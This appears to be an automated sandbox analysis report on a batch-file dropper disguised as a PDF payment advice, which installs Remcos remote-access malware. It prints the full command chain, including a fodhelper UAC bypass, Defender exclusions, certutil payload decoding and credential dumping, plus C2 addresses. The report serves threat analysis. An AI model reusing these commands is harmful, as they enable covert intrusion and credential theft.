Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-03-2024 10:33

General

  • Target

    DEBIT_ADVICE_000610PAY001522024.PDF.bat

  • Size

    3.1MB

  • MD5

    37a23ddeb4d10dc479c3cda8bcad8fa6

  • SHA1

    8cf2add3ffd2840c508bd8b06f9a29d9a4fb7bf5

  • SHA256

    0a2ae63e384bb787bfaf113777640ad36ce8aabc235fd071de1cc746f32c1701

  • SHA512

    aae48f4509124f6e041e96a32da0071727244d909b84b5189fd153a74f07a5dc208f4e46b98166d0aa9b25c19277796c8c01f4faaec793c95c8c03b83ef05bba

  • SSDEEP

    24576:2wyJPcV/Hrrz6jT6vaQrAAAy4QE1FpVJQQul6kE82zg38H6HKpLJrvvfzrEZnfQL:9yJPcVHQNQrAAHEPJQT7Z38dEog3xfO

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

127.0.0.1:45671

127.0.0.1:55677

192.3.101.8:55677

192.3.101.8:45671

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-2P1XPK

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ModiLoader Second Stage 1 IoCs
  • NirSoft MailPassView 3 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2060
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2220
      • C:\Windows\system32\extrac32.exe
        extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
        3⤵
          PID:4500
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1764
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
            PID:1760
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4940
          • C:\Windows\system32\extrac32.exe
            extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            3⤵
              PID:1524
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3672
            • C:\Users\Public\xkn.exe
              C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3340
              • C:\Users\Public\alpha.exe
                "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4260
                • C:\Windows\system32\reg.exe
                  reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Modifies registry class
                  • Modifies registry key
                  PID:1252
              • C:\Windows\system32\fodhelper.exe
                "C:\Windows\system32\fodhelper.exe"
                4⤵
                  PID:3920
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2208
              • C:\Users\Public\kn.exe
                C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
                3⤵
                • Executes dropped EXE
                PID:5020
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2104
              • C:\Users\Public\kn.exe
                C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
                3⤵
                • Executes dropped EXE
                PID:3916
            • C:\Users\Public\Libraries\Lewxa.com
              C:\\Users\\Public\\Libraries\\Lewxa.com
              2⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of WriteProcessMemory
              PID:4912
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c mkdir "\\?\C:\Windows "
                3⤵
                  PID:2396
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c mkdir "\\?\C:\Windows \System32"
                  3⤵
                    PID:2760
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c "C:\Windows \System32\3100739.exe"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2968
                    • C:\Windows \System32\3100739.exe
                      "C:\Windows \System32\3100739.exe"
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:4488
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:556
                        • C:\Windows\system32\cmd.exe
                          cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                          6⤵
                            PID:64
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                              7⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5104
                    • C:\Windows\SysWOW64\extrac32.exe
                      C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF
                      3⤵
                        PID:1124
                      • C:\Windows\SysWOW64\colorcpl.exe
                        C:\Windows\System32\colorcpl.exe
                        3⤵
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: MapViewOfSection
                        • Suspicious use of SetWindowsHookEx
                        PID:3592
                        • C:\Windows\SysWOW64\colorcpl.exe
                          C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\eaetbcaxcxlimqkezczvenqrmp"
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3024
                        • C:\Windows\SysWOW64\colorcpl.exe
                          C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"
                          4⤵
                            PID:696
                          • C:\Windows\SysWOW64\colorcpl.exe
                            C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"
                            4⤵
                              PID:1600
                            • C:\Windows\SysWOW64\colorcpl.exe
                              C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"
                              4⤵
                              • Accesses Microsoft Outlook accounts
                              PID:4488
                            • C:\Windows\SysWOW64\colorcpl.exe
                              C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\rpwwdfdsmnvzzlumaxyysfyrwktrhjzq"
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3200
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 1516
                              4⤵
                              • Program crash
                              PID:4796
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
                          2⤵
                          • Executes dropped EXE
                          PID:4624
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
                          2⤵
                          • Executes dropped EXE
                          PID:3752
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
                          2⤵
                          • Executes dropped EXE
                          PID:4000
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
                          2⤵
                          • Executes dropped EXE
                          PID:1676
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:4556
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /IM SystemSettings.exe
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2760
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:4132
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /IM SystemSettingsAdminFlows.exe
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1768
                      • C:\Windows\system32\SystemSettingsAdminFlows.exe
                        "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                        1⤵
                          PID:4976
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3592 -ip 3592
                          1⤵
                            PID:4452
                          • C:\Windows\system32\rundll32.exe
                            "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
                            1⤵
                              PID:4980
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k UnistackSvcGroup
                              1⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1344

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\ProgramData\remcos\logs.dat

                              Filesize

                              144B

                              MD5

                              e2c593e5a7f9a095a6e8e26a260ae6a6

                              SHA1

                              ec6385139a8b2aeda1144e9d461bbeeafd338ba9

                              SHA256

                              dac63faf94e8b1fcf71a5dc63f203d19b0733fcd922793f72e766624ff3d379e

                              SHA512

                              7bd7798ff15ad0a5caaae54199f35d487de80fac6854b5f62b4d14077a84e35f41a9341cd5cce3404f3f64d2838f637104205af8dc4b89db24349bb4258690f8

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                              Filesize

                              64B

                              MD5

                              5caad758326454b5788ec35315c4c304

                              SHA1

                              3aef8dba8042662a7fcf97e51047dc636b4d4724

                              SHA256

                              83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

                              SHA512

                              4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efu0kejr.xic.ps1

                              Filesize

                              60B

                              MD5

                              d17fe0a3f47be24a6453e9ef58c94641

                              SHA1

                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                              SHA256

                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                              SHA512

                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                            • C:\Users\Admin\AppData\Local\Temp\eaetbcaxcxlimqkezczvenqrmp

                              Filesize

                              4KB

                              MD5

                              1e851ac5c5f7c5086508dddc69063a46

                              SHA1

                              ec67b2be1b676dc07b54f92b64cabaa8b5c53656

                              SHA256

                              0672c1350202839c50058ce7097f6eac6d3788bac87b932f64a6c5f75674eb04

                              SHA512

                              e532fb9a86e913de9272d2314bbbf8688e60932e5cb67b8d780a5904545df5ee3a2669b1875c687fe2aa7281198e00b74f6de0d8e3fd9bfac10b0b28b18f5019

                            • C:\Users\Public\Lewxa.txt

                              Filesize

                              2.2MB

                              MD5

                              8f6b3132069a25963b93083743e160dd

                              SHA1

                              364112fc579f11dfa82a3c1078ec19706cd6dfda

                              SHA256

                              5184b2c7c5ffbaf8b8c9bac27545f09447b61d619a2f2bf472570b9ebec5747c

                              SHA512

                              af3051aeed9de9931f12d48cd22fef3273f9350a1cdd3c476fa02f7550288f7a96112f311d4dadcf61f0a67c93c22ce2999fb6253c8841b9d399e710b8518938

                            • C:\Users\Public\Libraries\Lewxa.com

                              Filesize

                              1.1MB

                              MD5

                              04aba5a372c8dac9affd6f1578b478b3

                              SHA1

                              1e0d764539cbf2e86e0d59b83f407b429f61fdb7

                              SHA256

                              b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411

                              SHA512

                              4d69053814b86bd13b59ca8b147a5331d0eace3ed2aaa936dc35086fdba8ef44d757bdc788eec61338f443578f98b8859f8dd7c7eeef486cab9ecb8eb5be15a3

                            • C:\Users\Public\alpha.exe

                              Filesize

                              256KB

                              MD5

                              32fd102e1fa7be50a97bd75d45484176

                              SHA1

                              bbfbb1997c4e4c605fb9f17809ac81b23b635e3c

                              SHA256

                              ab0c5f236a0c2a8af48b70fb8acb4487ca9a0a51047d135277ba3d9047c831c8

                              SHA512

                              ff3e5addf94a2c18745ce57c0b641d40043d1f92d602d96b56f9bf21815a3c52c3663379377134354a42bc75982de437e58afef6ffc63629893a1a6be7f69dec

                            • C:\Users\Public\alpha.exe

                              Filesize

                              283KB

                              MD5

                              8a2122e8162dbef04694b9c3e0b6cdee

                              SHA1

                              f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                              SHA256

                              b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                              SHA512

                              99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                            • C:\Users\Public\kn.exe

                              Filesize

                              1.6MB

                              MD5

                              bd8d9943a9b1def98eb83e0fa48796c2

                              SHA1

                              70e89852f023ab7cde0173eda1208dbb580f1e4f

                              SHA256

                              8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                              SHA512

                              95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                            • C:\Users\Public\xkn.exe

                              Filesize

                              442KB

                              MD5

                              04029e121a0cfa5991749937dd22a1d9

                              SHA1

                              f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                              SHA256

                              9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                              SHA512

                              6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                            • C:\Windows \System32\3100739.exe

                              Filesize

                              128KB

                              MD5

                              231ce1e1d7d98b44371ffff407d68b59

                              SHA1

                              25510d0f6353dbf0c9f72fc880de7585e34b28ff

                              SHA256

                              30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

                              SHA512

                              520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

                            • C:\Windows \System32\netutils.dll

                              Filesize

                              112KB

                              MD5

                              fa7aa88417d0c48807144a1a48fe3fbc

                              SHA1

                              6f5ec990b12d4a6075050a94e0d68d03781fa46d

                              SHA256

                              2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098

                              SHA512

                              99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff

                            • C:\windows \system32\KDECO.bat

                              Filesize

                              11KB

                              MD5

                              c545650595b479c81ad6b9d8882aae39

                              SHA1

                              7a98aa2e6eee23b3c1bba876955d525bc618b3f0

                              SHA256

                              a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9

                              SHA512

                              85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3

                            • memory/1344-167-0x000001F595850000-0x000001F595860000-memory.dmp

                              Filesize

                              64KB

                            • memory/3024-119-0x0000000000400000-0x0000000000478000-memory.dmp

                              Filesize

                              480KB

                            • memory/3024-139-0x0000000000400000-0x0000000000478000-memory.dmp

                              Filesize

                              480KB

                            • memory/3024-123-0x0000000000400000-0x0000000000478000-memory.dmp

                              Filesize

                              480KB

                            • memory/3024-127-0x0000000000400000-0x0000000000478000-memory.dmp

                              Filesize

                              480KB

                            • memory/3200-137-0x0000000000400000-0x0000000000424000-memory.dmp

                              Filesize

                              144KB

                            • memory/3200-134-0x0000000000400000-0x0000000000424000-memory.dmp

                              Filesize

                              144KB

                            • memory/3200-124-0x0000000000400000-0x0000000000424000-memory.dmp

                              Filesize

                              144KB

                            • memory/3200-136-0x0000000000400000-0x0000000000424000-memory.dmp

                              Filesize

                              144KB

                            • memory/3340-22-0x00000161A9820000-0x00000161A9842000-memory.dmp

                              Filesize

                              136KB

                            • memory/3340-29-0x00000161A9850000-0x00000161A9860000-memory.dmp

                              Filesize

                              64KB

                            • memory/3340-28-0x00000161A9850000-0x00000161A9860000-memory.dmp

                              Filesize

                              64KB

                            • memory/3340-34-0x00007FF853930000-0x00007FF8543F1000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/3340-27-0x00007FF853930000-0x00007FF8543F1000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/3592-100-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-116-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-101-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-102-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-104-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-108-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-109-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-110-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-111-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-113-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-115-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-99-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-97-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-145-0x0000000000400000-0x0000000001400000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/3592-141-0x000000001A1A0000-0x000000001A1B9000-memory.dmp

                              Filesize

                              100KB

                            • memory/3592-144-0x000000001A1A0000-0x000000001A1B9000-memory.dmp

                              Filesize

                              100KB

                            • memory/4488-120-0x0000000000400000-0x0000000000462000-memory.dmp

                              Filesize

                              392KB

                            • memory/4488-126-0x0000000000400000-0x0000000000462000-memory.dmp

                              Filesize

                              392KB

                            • memory/4488-135-0x0000000000400000-0x0000000000462000-memory.dmp

                              Filesize

                              392KB

                            • memory/4488-133-0x0000000000400000-0x0000000000462000-memory.dmp

                              Filesize

                              392KB

                            • memory/4488-132-0x0000000000400000-0x0000000000462000-memory.dmp

                              Filesize

                              392KB

                            • memory/4488-72-0x00000000613C0000-0x00000000613E3000-memory.dmp

                              Filesize

                              140KB

                            • memory/4912-61-0x0000000000840000-0x0000000000841000-memory.dmp

                              Filesize

                              4KB

                            • memory/4912-59-0x0000000000400000-0x0000000000527000-memory.dmp

                              Filesize

                              1.2MB

                            • memory/4912-56-0x0000000003E20000-0x0000000004E20000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/4912-55-0x0000000003E20000-0x0000000004E20000-memory.dmp

                              Filesize

                              16.0MB

                            • memory/4912-49-0x0000000000840000-0x0000000000841000-memory.dmp

                              Filesize

                              4KB

                            • memory/5104-83-0x00007FF851DE0000-0x00007FF8528A1000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/5104-85-0x000002BDD5950000-0x000002BDD5960000-memory.dmp

                              Filesize

                              64KB

                            • memory/5104-86-0x000002BDD5950000-0x000002BDD5960000-memory.dmp

                              Filesize

                              64KB

                            • memory/5104-89-0x00007FF851DE0000-0x00007FF8528A1000-memory.dmp

                              Filesize

                              10.8MB